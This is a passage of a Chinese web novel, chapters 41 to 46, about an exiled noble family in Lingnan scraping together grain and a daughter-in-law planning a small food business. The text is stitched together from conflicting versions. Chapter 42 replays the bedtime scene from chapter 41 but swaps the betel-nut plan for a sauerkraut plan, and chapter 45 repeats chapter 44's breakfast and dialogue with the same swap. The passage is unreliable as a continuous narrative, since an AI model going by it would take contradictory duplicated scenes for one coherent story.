靳三爷一家子都高兴的看着高胜兰,确定怀孕,孩子也好好的,他们这日子过的也有奔头。 “这个药,是我今天在药铺抓的。” 程七七从布包里拿出准备好的药材递上前:“研成粉,敷在伤口上,用布缠上,明天很快就能结痂了。” “好,这些都是好东西。”忠勇侯看着这药粉,夸赞着程七七的心细。 靳家旁支人都不好意思的低下头。 高胜兰则是疑惑的想:嫂子什么时候抓药的?难道是她看病的时候? “我还用毛笔,跟人换了五斗米。” 程七七也没有瞒着的意思,道:“县里米铺,糙米二十文一升,精米三十五文钱一升,一支湖笔,换五斗米,很划算。” 一斗十升,五斗米,就是五十升,相当于,一支笔,换了一千文钱。 “而且,我还用一支毛笔,换了五斗粮食。”程七七这话音方落,瞬间,所有人都震惊了! “现在,人家可能在村口等了,还要辛苦爹和大家,推着板车,去拿粮食。” 程七七一连串的话语下来,大家都懵了。 “岭南的粮食这么贵吗?” 靳润之下意识的看了一眼自家媳妇高胜兰。 “真的很贵,糙米看起来一点都不好,二十文一升,陈米倒是便宜,也要十文钱一升,但,陈米看着都快发霉了。” 高胜兰想着在米铺看到的米,如果不是实在没钱,真不想吃陈米。 “嫂子,那个叫江枫的少年,真的会带米来吧?” 高胜兰一直怀疑着。 “会。” 程七七肯定的点头,她看人不会错的! “来,上点药,赶紧去。” 忠勇侯拿着药粉,正准备上药,一旁的柳素仪接过药粉,小心翼翼的给忠勇侯上药了,道:“七七一个妇道人家,跟着胜兰去县里,买药买粮食的,不容易。” 柳素仪怕忠勇侯对程七七有意见,特意说了说程七七的不容易。 “七七是个能担事的。” 忠勇侯想:儿子隐姓埋名,虽然没有流放,但,每日都处在危险之中,若不能照顾好七七和岁安,让他毫无后顾之忧,他也枉为人父。 村口。 靳家人上完药,包扎完手之后,兴冲冲的跑到村口去盼粮食了,盼啊盼啊盼…… 可,一直没瞧见人,该不会……人家拿了笔,根本不给粮食吧? 大家心中犯起了嘀咕,但,谁也不敢说! 毕竟先前林惠兰的事情,就让侯爷格外的生气。 靳家。 “娘,你真厉害!” 靳岁安带着眼泪,吃着她分给爷爷奶奶的糖葫芦,嘴角挂着笑,道:“姑姑以后是不是再也不能打娘了?” 程七七还没说话,一旁的柳素仪立刻看着靳岁安,蹙眉问道:“靳雪儿以前经常欺负你跟娘吗?” 第一卷 第41章 重点,不能连累她 “七七,你可是帮了大忙!” 忠勇侯送走江行兄弟之后,看着程七七的眼神都格外的柔和。 “我们七七自然是厉害的!” 柳素仪骄傲的仿佛在夸赞她自己一样,道:“七七去一趟县里,就帮我们解决了粮食的大问题,可是大功臣!” “记一功。” 忠勇侯高兴的说:“今天我们跟江行兄弟商量好了,拿半旧还新的袄子,还有祠之藏的书,老三家的绣花针,老四家的红棉布,都换到粮食了。” “那就好,免得我们有粮食,他们没有。” 柳素仪的话,也让一旁的程七七连连点头。 当初她就怕这个情况,所以,就想等着这一次粮食拿到手,后续或许还能拿点他们用不上的东西,岭南又没有的,换点粮食! 没想到,忠勇侯直接将人带过来了,也是,他的军功也是靠自己打下来的,脑子自然是聪明的。 “毛笔是七七藏着给安安启蒙的,要不是七七,我们哪有粮食?” 柳素仪替程七七讨恩情。 …… “娘,你终于醒了?” 狭小的连床都没有房间里,靳雪儿看到林惠兰醒了,连忙道:“娘,刚刚爹找我们拿东西换粮食,我把你那个银簪子拿出来换粮食了!” “什么!” 林惠兰激动的差点吐血,双手紧紧抓着靳雪儿的手,咬牙道:“那是我最后的一点值钱的了。” “换不来粮食,难道我和哥哥都要饿死吗?” 靳雪儿被她抓疼了,她甩开林惠兰的手道:“娘,以前在府里那套,行不通了!” “行不通了?” 林惠兰本来就没吃饱饭,还累了一天,刚刚又晕倒了,这会被毫不费力的甩开,她的眼神黯淡了下来。 “你再闹,爹肯定会将你赶出去的,到时候,没有靳家怎么办?”重点是,不能连累她! 靳雪儿拉过被子,直接躺了下来:“夫人和嫂子不会让我们白吃白喝的,有了粮食,我们就能活下去!” 她生的好看,只要活下去,往后肯定能过上好日子的! 粮食的事情解决了,程七七带着靳岁安,也早早的回房间了。 “娘,今天的星星好亮。” 靳岁安躺在程七七的怀里,紧紧抱着程七七,看着屋顶那缺瓦的地方处,明亮的星星闪烁着。 “真亮。” 程七七抬眸看了一眼,没有各种污染,满天的繁星,恍若触手可得。 “爹爹也能看到这颗星星吗?” “肯定能,这星星这么大,哪里都看的到。” 靳岁安自问自答着。 程七七低头,眼神中透着愧疚。 突然,屋外传来了动静,程七七隐约听到郎中的声音,她也没有过去,老夫人屋子也不大,就不去挤了。 “娘,这屋顶可以不封吗?就这样,以后我就能天天躺在床上看星星了。” 靳岁安脆生生的声音隔着墙壁传了出来,站在门口的靳墨之下意识的抬头,满天的繁星闪烁。 “可是,不封屋顶,下雨了,安安会淋湿生病,娘会担心的。” 程七七耐心的解释着。 “啊……” 靳岁安的声音里,都透着失落,她紧紧抱着程七七:“娘,安安不要生病,不要娘担心,安安不看星星了!” 小姑娘的声音里都带着慌张。 “傻安安。” 程七七将人抱在了怀里,轻拍着她的后背安抚着:“以后安安想看星星了,娘以后带你到山顶上看星星好不好?还可以看日出,山顶上的星星啊,伸手就能摘到。” “真的吗?” 靳岁安双眼兴奋的看着程七七,兴奋的隔着墙壁都能听到。 靳墨之浓黑的眉毛往上扬了扬,小姑娘也太好哄了。 “当然是真的了,以后娘带你去看。” 程七七低头亲了亲女儿。 靳岁安伸出手道:“拉勾,不许骗人。” “不骗。” 程七七跟着女儿拉勾,然后就开始哄睡了。 “娘,我想听齐天大圣的故事。” 靳岁安乖乖躺好,安安静静的听故事了,起初的兴奋,到后面,眼皮耷拉着,就开始打架了。 一墙之隔,程七七低声讲故事的声音似风的呢喃一般,听不真切讲的什么故事,只剩下满满的温柔。 靳墨之如墨的眸子微黯,还记得,第一次见面,程七七给他的印象可太深刻了,拿着菜刀杀鸡,看着他的眼神,就像是看着一盘肉一样,恨不得扑不上来将他给生吞活剥了。 第二次见面,他被敌人暗算中了烈性的药,程七七以清白之身救了他,第二天,当她满眼算计的说要嫁给他时,他同意了。 娶谁不是娶,他害得程七七爹娘身亡,成了孤儿,又得了她清白之身。 他力排众议迎她入府,三年,他仅回过一次。 或许,是他不够了解她? “娘,祖母的情况怎么样?” 哄睡了女儿的程七七,特意过来找柳素仪询问着老夫人的情况。 “开了药,好好补身子,会好起来的。”柳素仪是松了一口气的,流放路上老夫人都坚强的活了下来,往后,更需要活着! “那就好。” 程七七等忠勇侯送走郎中之后,便将她今天买的两份槟榔递了上前:“爹,你们今天去山上,看到有人吃这个吗?” “槟榔果?” 忠勇侯一眼就认了出来:“今天山上砍樟木的时候,倒是看到很多人吃,香的很。” “爹不如明天也带去尝尝?” 程七七的话音落下,忠勇侯问:“不单是尝尝吧?” 忠勇侯锐利的眼睛盯着程七七,如果不是流放,他都不知道,自家这个被全京都嘲笑的儿媳妇,居然这么厉害! “什么都瞒不过爹。” 程七七微笑着:“今日我去县城,看到村里家家户户都在晒槟榔果,我想着,如果我们也能做,是不是能挣钱?” 挣钱? 忠勇侯若有所思的问:“县里卖的人不少,你凭什么认为你能卖槟榔果挣钱?” “就凭我手艺好。” 程七七挺直了脊背,:“同样的槟榔果,如果我能做得比别人好吃,别人肯定会买我做的,只要能卖得出去,我就能挣钱!” 她的声音清脆,琉璃的眼眸中,闪烁着自信的光芒,倒回来送银子的靳墨之看着这一幕,只觉得他应该重新认识一下他的妻子! 第一卷 第42章 凭什么你能挣钱? “当然是真的了,以后娘带你去看。” 程七七低头亲了亲女儿。 靳岁安伸出手道:“拉勾,不许骗人。” “不骗。” 程七七跟着女儿拉勾,然后就开始哄睡了。 “娘,我想听齐天大圣的故事。” 靳岁安乖乖躺好,安安静静的听故事了,起初的兴奋,到后面,眼皮耷拉着,就开始打架了。 一墙之隔,程七七低声讲故事的声音似风的呢喃一般,听不真切讲的什么故事,只剩下满满的温柔。 靳墨之如墨的眸子微黯,还记得,第一次见面,程七七给他的印象可太深刻了,拿着菜刀杀鸡,看着他的眼神,就像是看着一盘肉一样,恨不得扑不上来将他给生吞活剥了。 第二次见面,他被敌人暗算中了烈性的药,程七七以清白之身救了他,第二天,当她满眼算计的说要嫁给他时,他同意了。 娶谁不是娶,他害得程七七爹娘身亡,成了孤儿,又得了她清白之身。 他力排众议迎她入府,三年,他仅回过一次。 或许,是他不够了解她? “娘,祖母的情况怎么样?” 哄睡了女儿的程七七,特意过来找柳素仪询问着老夫人的情况。 “开了药,好好补身子,会好起来的。”柳素仪是松了一口气的,流放路上老夫人都坚强的活了下来,往后,更需要活着! “那就好。” 程七七等忠勇侯送走郎中之后,便准备回屋睡,靳墨之上前:“夫人,给岁安小姐的。” “糖葫芦?” 程七七看着这糖葫芦,顿了一下,靳墨之道:“世子于我有救命之恩,我想报答岁安小姐。” “收着吧。”忠勇侯开口。 程七七也没矫情,直接收下糖葫芦,她将她今天买的酸菜递了上前:“爹娘,你们尝尝这酸菜味道如何?” “你做酸菜鱼的酸菜?” 忠勇侯一眼就认了出来:“这有点不像啊,这黑漆漆的,闻着也不香?难道要煮了才香?” “你们尝尝。” 程七七微笑着没说完,柳素仪尝了尝,蹙眉道:“这不是你做的吧?” 七七之前做酸菜鱼,那酸菜吃了还想吃,这酸菜,咸的都不行了。 忠勇侯看了一眼这酸菜,问:“不单是尝尝吧?” 忠勇侯锐利的眼睛盯着程七七,如果不是流放,他都不知道,自家这个被全京都嘲笑的儿媳妇,居然这么厉害! “什么都瞒不过爹。” 程七七微笑着:“今日我去县城,县里好多卖酸菜的,这就是县里买的酸菜,两文钱一勺,我觉得我卖肯定能挣钱。” 挣钱? 忠勇侯若有所思的问:“县里卖的人不少,你凭什么认为你能卖酸菜挣钱?” “就凭我手艺好。” 程七七挺直了脊背:“同样的酸菜,如果我能做得比别人好吃,别人肯定会买我做的,只要能卖得出去,我就能挣钱!” 她的声音清脆,琉璃的眼眸中,闪烁着自信的光芒,倒回来送银子的靳墨之看着这一幕,只觉得他应该重新认识一下他的妻子! 翌日。 “娘,我去附近买芥菜。” 程七七依旧是不用上工,她打算去收芥菜,顺便看看能不能打听点什么有用的消息。 “那你们小心啊。” 柳素仪在家里照顾着老夫人,同时,手里拿着针线篮子,开始纳千层底布鞋了,不管是忠勇侯上山干活也好,还是程七七出门也罢,都是需要一双好鞋子的。 “放心吧,我带着安安和小允,不走远的。” 程七七牵着女儿和靳允出门了,确认怀孕的高胜兰,被靳家三房留在家里休息了,这可是三房的第一个孙子,自然是重视的很! “娘,那是什么?” 靳岁安一出门,就被路上随处可见的生蚝壳子吸引了注意力。 “这个是生蚝壳。”程七七解释着,看着生蚝壳子整齐排列成了一堵墙,倒成了别样的风景。 “生蚝是什么?” “长的好奇怪啊。” 靳岁安就像是一个好奇宝宝一样,什么都要问。 程七七耐心回答着,她又见到昨天晒芥菜的大娘了。 “大娘,你这个芥菜,卖不卖啊?” 程七七带着两个小姑娘,再加上她笑得灿烂。 大娘很热情:“你要买芥菜?当然卖啊!” 地里的芥菜,到处都是,除了她们自己腌制的酸菜,剩下的,每年喂鸡鸭都烂掉了。 “你们是从外地来的吧?”大娘看着程七七,那面孔生的很。 “是。” 程七七有些不好意思,认真说起来,她现在还是犯人呢。 “没什么不好意思的,我们归化里村,来了不少流放的犯人,能平安走到这里,就很不错的啦。” “叫我阿榕嫂就行。” 阿榕嫂道:“我便宜卖给你,芥菜两文钱一斤。” “那,我先要一百斤。” 程七七的话音方落,阿榕嫂愣了:“你要这么多?” “家里人多。”程七七含糊的说着。 阿榕嫂也没多问:“那我多送你两斤。” 阿榕嫂热情的挑着一百零二斤的芥菜,就去了靳家,到了地方,程七七看着阿榕嫂都不好意思了,这么重的担子,她一个大娘,挑的比她走路还快呢! “快,喝口水。” 柳素仪猜测着程七七要做生意,没想到,直接就买了这么多回来,她也没说什么,端着水递上前。 “谢谢。” 阿榕嫂喝了一口水,视线落在柳素仪的针线篮子上,笑着提醒:“你们有这手艺,可以接绣活挣钱,县里的绣楼,这样一方帕子,都能挣不少钱钱。” 阿榕嫂的话,让程七七眼睛亮了,这也是一条挣钱的路子。 “谢谢阿榕嫂提醒。” 程七七见她一直盯着帕子,立刻拿了一条帕子给她:“阿榕嫂要是不嫌弃,这帕子送你。” “这怎么好意思。” 阿榕嫂嘴上说着不好意思,但拿帕子的手,却是飞快。 程七七继续打听道:“阿榕嫂,我们刚来,祖母和孩子都需要补身子,您知道哪里有鸡蛋换吗?” 程七七将姿态摆的低,一口一个阿榕嫂,阿榕嫂小心翼翼的将帕子收起来道:“你要怎么换?如果你还有这样的帕子,不如我给你换,一条帕子,换三个鸡蛋。” 综合阿榕嫂刚刚说的挣钱,程七七心底琢磨着,这鸡蛋有点贵。 第一卷 第43章 还可以骑大马 “黑土说,有明瓦,屋子里会更明亮。” 柳素仪的声音响起,道:“你看,我们每个人的房间里,都有几片明瓦。” “哦,是更明亮了。” 程七七总觉得哪里不对劲,这屋顶不漏雨都不错了,怎么还会想的这么周到,让屋子变明亮? “娘,我以后还能在床上看星星吗?” 靳岁安抱着程七七,好奇的仰着头问。 “应该……”不能。 程七七的话说到了一半,低头看到女儿亮晶晶的眼睛,不忍心让她失望,她蹲下身子,平视着女儿道:“我们可以看到月亮的光,就像是看到了星星一样!” “真的吗?” 靳岁安仰头,看着那明瓦好奇的不得了,这儿看看,那儿瞧瞧的。 “胡子叔叔,你爬这么高,不害怕吗?” “胡子叔叔,你要喝水吗?” 靳岁安一会跑进,一会跑出的,仰头看着站在屋顶上靳墨之,显得格外的高大! “我不怕高。” “我不渴。” 靳墨之耐心的回答着,看着女儿巴掌大的小脸,心疼的想:他得弄点肉给女儿吃! “哇,胡子叔叔好厉害啊!” 靳岁安鼓掌说着。 厨房里,正在准备着晚上野菜粥的程七七,听着女儿跟黑土对话,忍不住想笑,同时,也好奇的看了一眼修补屋顶的黑土! 他们对世子可真是忠心耿耿的,世子没了,还对世子的女儿,这般喜欢呢! “素仪,我们回来了!” 忠勇侯兴奋的声音在外头响起。 “侯爷,你,你身上怎么都是血,你受伤了?” 柳素仪刚熬好药,给老夫人喂下,看到忠勇侯身上都是血迹时,瞬间就担心的不行! “没事,小伤。” 忠勇侯不在乎的说着:“今天我们去砍樟木的时候,碰上了三只野猪,我们跟着赵大人一块,杀死了这三只野猪,你看,我分了一条腿呢!” 柳素仪看了一眼那野猪肉,最后看着忠勇侯手臂上血肉模糊的伤口道:“我赶紧给你上药。” “爹,我来做,今天晚上吃野猪肉!” 程七七听到野猪肉,格外的兴奋,看着那一条猪腿,更是好奇的不行,他肯定出大力气了,不然,就算三只野猪,也分不到这一条猪腿。 “那这些是我们的,还是……”程七七拎着一条猪腿,连腿带肉,有十斤左右。 “是我们的,他们三房,自己都分了一斤肉!” 忠勇侯解释完,就被柳素仪拉着去上药了! 后面,靳家旁支三房,都喜气洋洋的! 林惠兰、靳雪儿、靳砚之三个人开始有些担心:他们应该有份吃肉吧? 除了流放路上碰到的野猪,鱼,后面还没吃这么好的肉呢! 程七七将她的厨艺发挥到了极致,猪蹄子炖上一大锅,带着肉味的猪蹄汤,明天煮个面疙瘩,那也是香的! 猪皮被她贴着铁锅烫掉了猪皮,烧的焦焦的,菜刀一刮,瞬间干干净净。 等个几天,这猪皮也不容易坏,到时候拿来炖萝卜汤,又是一道好菜! 野猪肉她留了一半明天做,剩下一半,她则是炖上了土豆,流放路这么辛苦,忠勇侯他们又去山上干重活,不吃点好的,怕是身体撑不住的。 炖猪蹄的肉香味,咕嘟咕嘟的往外冒。 靳家旁支三房,也都是在做肉,大家脸上都洋溢着高兴! 靳砚之在院子里劈柴,被揍了几顿之后,看到了亲爹的态度,靳砚之现在是半点懒都不敢偷了! 林惠兰和靳雪儿也没敢闲着,回到家里,母女两个就开始往缸里抬水。 天快黑了,上山捡柴?那是不敢的! 屋子里穷的很,也没啥要收拾的,只能抬水了,两个人抬一桶水,走上十来趟,也能慢慢的将缸填满。 每抬一桶水进来,林惠兰和靳雪儿盯着锅里的肉,就疯狂的咽口水! 刚到地方的时候,也吃了鱼肉,可,鱼肉哪有肉强? 程七七看着她们母女两个累的满头大汗的抬水进厨房,挑了挑眉,也没说话。 傍晚,天还没黑呢,程七七晚上的野菜粥加了肉汤,再加上猪蹄汤、野猪肉炖土豆,瘸腿的桌子上,第一次摆的这么丰盛! “胡子叔叔,你太厉害了!” 靳岁安的惊呼声响起,程七七抬头,正好看到那优越的大长腿从屋顶上跃了下来,颀长的身形,仿佛能飞一样。 那么轻松的一跃,落地的姿势,仿佛也带着一种说不来的帅气。 唔,如果忽略那满脸的胡子的话。 程七七收回目光。 “岁安,小姐,要不,我抱你起来,这样,你就能站的高高的?” 靳墨之落在了女儿的面前,看着女儿兴奋的小脸都泛着红晕,他的眼底带着期待。 “娘,我可以吗?” 靳岁安回头,看着程七七的眼神中,满是祈求! 程七七犹豫了一下,换完药的的忠勇侯出来:“当然可以,你还可以骑大马!” “你好好护着安安,别让安安摔了。” 忠勇侯看了一眼黑土,儿子想亲近女儿,也是人之常情! 靳墨之几乎是立刻,就将靳岁安抱了起来,瞬间的腾空感,让靳岁安兴奋的不得了,等骑到靳墨之的肩膀上时,靳岁安的高兴,更是溢于言表。 程七七的唇动了动,最终,什么话都没说。 院子里,处处充满着靳岁安高兴的笑声,直到快吃饭的时候,靳润之来了。 “二叔,嫂子,我,我能拿肉换猪蹄汤吗?” 靳润之端着一碗野猪肉,不好意思的说道:“猪蹄汤,对怀孕的胜兰好,我,我……” 忠勇侯看了一眼那一碗野猪肉,点头道:“可以。” “我来装。” 程七七装了一碗肉,再加了一碗猪蹄汤:“明天用来煮面疙瘩吃,也是很香的!” “谢谢嫂子,这汤……”靳润之看着多出来的一碗汤,更不好意思了。 “你嫂子心疼胜兰怀孕了,拿着吧。” 忠勇侯满意的看着程七七。 等到吃饭的时候,忠勇侯道:“七七,再装一碗肉,一碗汤出来,重山和黑土今天给家里修屋顶,也不能落下了。” 忠勇侯话一出,林惠兰、靳雪儿、靳砚之神色各异,但,有了前车之鉴,谁也没敢说话,毕竟,这野猪肉,要不是忠勇侯,是吃野猪肉,还是被野猪吃,真不好说。 第一卷 第44章 他居然是太监? 晚上饱饱的吃完后,林惠兰母女也是非常有眼力见的拿着碗筷就去洗碗了。 程七七牵着女儿进了房间,对于林惠兰母女不吵不闹的,倒是挺开心的! 做饭,她喜欢,洗碗,她是最讨厌的。 “娘,没了油灯,也是亮的!” 靳岁安躺在床……不,地上,抬头看着明瓦遮盖的地方,高兴的不得了,她紧紧抱着程七七:“娘,我喜欢胡子叔叔。” “你不怕他的胡子?” “不怕。” 靳岁安偏头想了想:“胡子叔叔不扎人!” “为什么喜欢胡子叔叔呢?” 程七七有些奇怪,流放之前,安安很少跟男人接触,流放之后,几个叔叔轮流背她,倒是让她心心念念的,说爹爹的背,也是这么稳当吗? 但,从来没有说,很喜欢某个叔叔的! “唔……” 靳岁安圆溜溜的大眼睛,眨呀眨的,最后眉头都挤在一块了:“不知道。” 小姑娘纠结的不知道该怎么说,最后,扬起灿烂的笑容:“胡子叔叔好厉害,会飞,还给我骑大马!” 程七七:“……” 靳墨之小声嘀咕着:“赵黑子没有为难你们吧?” 赵黑子,便是管训台上,负责给他们分活干的赵黑子。 “你爹我是谁?” 忠勇侯提起这事,胡子都忍不住往上扬了起来:“三只野猪,要不是我,只怕今天得死好几个,赵黑子也太黑了,大野猪二百来斤,小野猪崽子也有七八十斤,最后,就给我分了一条腿!” “爹最厉害。” 靳墨之夸赞着,又道:“爹,晚上我联系了一批旧家具,到时候往屋子里装上。” “有床吗?我们睡地上没事,总不能让你祖母,让你娘,让你媳妇和女儿睡地上吧?” 忠勇侯行军的时候,睡野外都行,但女眷不行。 “有。” 靳墨之肯定的点头。 “你什么时候去西北?”忠勇侯盯着他的眼睛,今天他和女儿明明在一起,不能相认,他都愧对儿子! “三天后,等第一批物资到了,我再走。” 流放地的条件,比他想象中的还要艰苦,程七七拿笔换来的粮食,五斗米,看起来很多,但,他们一家子人,撑不过十天! 再者,他们准备去西北,也需要准备一些东西。 靳墨之悄悄的出去了,夜色笼罩下,他悄悄物色的旧家具来了。 十五张床,床板床架子,都拉了三板车! 靳家人看着这些床,兴奋的不行,终于,不用睡地上了。 在靳墨之的授意下,程七七房间也装上床了,本来困的不行的靳岁安,这会也兴奋的看了一眼,然后窝在程七七房间,就呼呼大睡了。 装床,她们自然是不能回房间的,程七七就问起槟榔果的事情了。 “槟榔果嚼着有点涩,但混着萎叶和蚌壳粉,越嚼越香,大冬天的,也出了一身汗。” 忠勇侯想起这事,道:“我们今天砍樟木的时候,看到很多槟榔果树,也听赵大人他们说了,岭南这边盛产槟榔果,山里的槟榔果,谁摘到,就是谁的!” “爹,我明天想摘槟榔果。” 程七七立刻说着,她的视线在屋子里装床的黑土身上,问:“爹,他们要是有空,能不能帮忙摘点?” “能啊。” 忠勇侯说着,立刻道:“你就别上山了,山上蛇虫鼠蚁多。” 床装好了,怀里的靳岁安睡的香甜,夜深了,程七七带着女儿,睡在床上,比地上软和多了。 “咦?” 程七七摸了摸床,不知道是不是她的错觉,总觉得她的床,似乎更新呢? 隔壁。 “侯爷,黑土和重山他们怎么也是男人,刚刚装床的时候,应该让礼之润之他们来,他们怎么也是自己人。” 柳素仪刚开口,忠勇侯就打断道:“礼之和润之都是外男,怎么能给七七装床呢?” “那黑土也是男人啊?墨儿还在,倒没什么,墨儿如今不在了,该……”避嫌才是。 柳素仪后面的话还没说完,忠勇侯接话道:“黑土可以,他不是……”外人。 亲儿子,给亲爹,亲外祖母装床,那没一点问题啊! 至于给程七七母女房间装床? 给自个媳妇装床,那就更没问题了。 “啊?他不是男人?他居然是太监?不对啊,太监也长胡子吗?” 柳素仪彻底的误会了,如果是太监,那确实比礼之和润之更加合适。 忠勇侯:“……” 算了,儿子还活着的消息不能说,误会……也没事? 翌日清早,程七七看到几麻袋的槟榔果时,眼睛都亮了! “居然还有蚌壳?” “萎叶?” 程七七开心的不行,道:“爹,谢谢你啊,居然想的太周道了,连这些东西,全准备好了。” “你要谢,就谢黑土。” 忠勇侯开口道:“我只让他摘槟榔果。” “下次我谢谢他。” 程七七高兴,昨天剩下的猪蹄汤做底,再用面粉糊做些疙瘩汤,又耐饱,又简单。 吃饱之后,程七七就开始干这些槟榔果了。 靳家人全部去干活了,就剩下怀孕的高胜兰、照顾婆婆的柳素仪,还有靳允和靳岁安了! “娘,我帮你。” 靳岁安年纪最小,搬个树桩凳子乖巧的坐在程七七的身边,小手努力拿着槟榔果,学着程七七一样,清洗。 “安安真棒。” 程七七夸赞着,一边拿着槟榔果清洗,一边将女儿夸的高高兴兴的。 高胜兰、柳素仪和靳允都过来清洗槟榔果了。 程七七道:“娘,那你们先洗,我去烧火,煮槟榔果!” 她以前就喜欢看各种各样的古法制作,还真知道槟榔果怎么变成槟榔的,煮软后晒干就行了! 新鲜的槟榔果,制作起来则是更简单的! 人多力量大,很快,槟榔果煮上了,程七七就开始琢磨着蚌壳了! 蚌壳清洗很难,石臼捣碎成灰,每一步,都不容易。 “胜兰,你怀孕了,要不,你还是歇着吧。” 程七七看着帮忙清洗了大半天的高胜兰,生怕她肚子里的孩子有问题,这可是三房唯一的孙孙啊! “没事,我就坐着,手上干活,也不累。” 高胜兰不想躺了,她娘家开武馆的,绣花都不会,现在能干点活,挺好,最重要的是她觉得,卖槟榔果,或许,真能挣钱! 第一卷 第45章 机会不就来了? 翌日清早,程七七用昨天剩下的猪蹄汤做底,再用面粉糊做些疙瘩汤,又耐饱,又简单。 吃饱之后,忠勇侯他们去上工,程七七就开始做第二批的酸菜了。 柳素仪、高胜兰还有靳允和靳岁安都在帮忙。 “胜兰,你怀孕了,要不,你还是歇着吧。” 程七七看着帮忙清洗了大半天的高胜兰,生怕她肚子里的孩子有问题,这可是三房唯一的孙孙啊! “没事,我就坐着,手上干活,也不累。” 高胜兰不想躺了,她娘家开武馆的,绣花都不会,现在能干点活,挺好,最重要的是她昨天跟靳礼之一合计,或许,卖酸菜真能挣钱! “七七,我来做饭。” 柳素仪的声音响起,正在往大缸里放酸菜的程七七愣了一下,随即笑着说:“好啊!” 忙碌了一整天,程七七确实也不想做饭了,昨天做的酸菜,明天早起切好就拿去县里试卖! 一点时间都不能浪费了! 厨房里,动静不小,程七七伸长着脖子。 “嫂子,从来没见过二婶下厨。”高胜兰也伸长着脖子,二婶诶,那可是忠勇侯夫人,当家主母。 成亲后,高胜兰也随着婆婆去过忠勇侯府拜见主母,侯府之大,让她大开眼界! 当家主母柳素仪,更是雍容华贵。 流放路上,柳素仪也会干活,但做饭…… “娘很聪明,做饭简单的。” 程七七看一了眼,就拿着干荷叶封坛口,这一步,很重要,否则,万一进了空气,这么多的酸菜,别说卖了,怕是全部都得丢掉。 “哈哈哈,今天又有口福了!” 忠勇侯人还没回来,笑声先传回来了,除了第一天双手血淋淋,昨天带了野猪肉,今天,又带了野兔子! “正好,给安安和娘补补。” 忠勇侯高兴的提着一只野兔子回来了,道:“今天砍樟木的时候,我们又碰着一窝兔子了,大头分给赵大人,剩下的,我们都带回来了。” 忠勇侯是岭南也不是一无是处的地方,冬天没那么寒冷,山上的猎物也多。 “素仪,你,你做的肉汤粥?” 忠勇侯进厨房,看到柳素仪做的肉汤粥时,都惊呆了! 成亲这么多年,刚刚新婚的时候,柳素仪确实下过厨房,也就是做些点心,洗菜配菜什么的杂活,都有厨娘做,她就算要动手,也是不多的。 “七七在忙正事呢,我来做粥,有什么大惊小怪的?” 柳素仪一路上,几乎跟程七七寸步不离的,学也学会了。 “快,尝尝。” 柳素仪拿粥递了上前。 肉香味的粥,忠勇侯夸了又夸。 晚上,程七七吃上肉汤粥,默了,忠勇侯这真是无脑夸! 大概是煮的时间不够,米还有些硬。 晚饭后,还没死的野兔,被忠勇侯三下两除二的,就做了一个笼子关了起来。 翌日,天不亮,程七七就把第一天做的酸菜拿了出来,微微的酸味,还差点劲。 于是,程七七趁着没人,直接将空间里她早就做好的酸菜替换了出来。 她熬了一锅香浓的粥,加了一点糯米,米饭都全部开花了! 一碟子她做的酸菜! 忠勇侯带着靳砚之挑完水,又从山上捡了柴回来,闻着桌上的酸菜味,那叫一个高兴:“七七,这是你做的酸菜吧?这味道,闻着就香!” “爹,你快尝尝,比那日买的如何?” 程七七微笑的看着忠勇侯,再给柳素仪递了筷子。 酸辣可口的香菜,配上香浓的粥,那味道,绝了! “好吃。” 忠勇侯吃的那叫一个香。 一旁的靳砚之疯狂的咽口水道:“嫂子,我能尝点吗?” 这些天,林惠兰做的菜,真的太难吃了! “二文钱一勺。”程七七开口。 靳砚之风一样跑进屋,然后拿了两文钱。。 程七七大方的给了满满的一勺,靳砚之拿着酸菜回去,林惠兰嘀咕着:“真是掉钱眼里了,自家人,还要收钱!” “呵,小娘,要不是你和妹妹,我都不用跟着你们在这里吃这些!” 靳砚之气坏了,她们怎么就拎不清呢?都流放了,还当在府里享福,谁都得捧着她们? 爱吃不吃。 靳砚之扒拉了一小半酸菜,剩下的就用油纸包裹着小心翼翼的放好,晚上还能吃! 香,真香。 靳砚之觉得这有点生硬的粥,也变得好吃了,他该怎么哄着爹原谅他?让他跟着他们一块吃饭呢? 另一边,程七七决定要去县里卖酸菜。 靳家人都沉默了下来,忠勇侯道:“让黑土陪你去。”那小子马上就要走了,让他多陪陪媳妇,顺带还能陪媳妇卖东西挣钱。 “爹,他不太方便吧。” 程七七想,就算是世子旧部,那也是男的。 “二叔,我跟着一起去。” 靳礼之开口道:“我以前负责庄子外面的生意。” “行。” 程七七应声。 三房的靳润之,四房的靳明之都想去,但,这么一点活,肯定要不了这么点人。 “爹,我想去!” 尝了酸菜美味的的靳砚之,立刻来了精神,这不,机会就来了? 上山砍樟木树三天,上了药绑了布,伤口恢复的是不错,但是,不管是砍樟木,还是运樟木,每次他都感觉自己要死了一样! 回到家里,还不敢休息,捡柴劈柴,堆柴…… 不干活,就要挨打。 靳砚之是不敢跑,也不敢不做,现在听说去县里卖酸菜,这活不比砍樟木强? 抛头露面? 他一个大老爷们才不怕! “你去能干什么?” 忠勇侯睨了他一眼,从前在侯府,这小子不是在花天酒地,就是在听曲儿看戏,就他还卖酸菜? 不拖后腿就算了! 靳砚之坐直了身体,为了能去卖酸菜,他可是将毕生的聪明劲全用上了:“爹,正因为我见识的人多,说不定,能帮上嫂子的忙。” “对,我就是去帮忙的,我以前看到街上那些叫卖的商贩,我肯定能行的。” “爹,你让我试试吧,要是我卖不出酸菜,以后,我老实干活。” 靳砚之满眼祈求的看向忠勇侯。 “……” 忠勇侯沉默了一瞬,才看向程七七问:“七七,你看着办。” 第一卷 第46章 小娘子成亲了吗? 程七七眼眸一转,想到上次碰上的那两个地痞小混混,靳礼之看起来太老实了,如果带个靳砚之,这以前的纨绔子弟,要再碰上,或许能用上一用? “行。” 程七七同意了。 隔天,程七七出门看到黑土、靳礼之和靳砚之三个人时顿了一下。 “七七,出门的时候,让黑土护着点你。”柳素仪拉着程七七小声提醒着,墨儿的部下,就算是太监,身手肯定也是好的! “娘,他毕竟是外男,是不是……” 程七七总觉得是不是该避个嫌? “不用怕,他是太监,你放心使唤。” 柳素仪看着她如花似玉的脸庞,唇动了动,最终道:“若真遇上合意的,你想嫁人,我给你准备一份嫁妆。” 去县里的路上,程七七坐在板车上,她的脑子里还晕晕乎乎的呢。 自家婆婆真是太开明了。 居然已经想到她以后再嫁了? 但,她可没这个想法,女儿安安还小,再嫁给她找个继父? 谁知道继父对安安好不好? 她以后有钱,想要什么小奶狗不行? “黑土,要不,换我来推板车吧?” 靳礼之开口,黑土都推了这么久了。 “无妨。” 靳墨之稳稳的抓着板车,看着坐在马车上,神游天外的程七七,他的脑海里,全是先前在家里偷听到她和母亲的话。 “我不嫁人。” 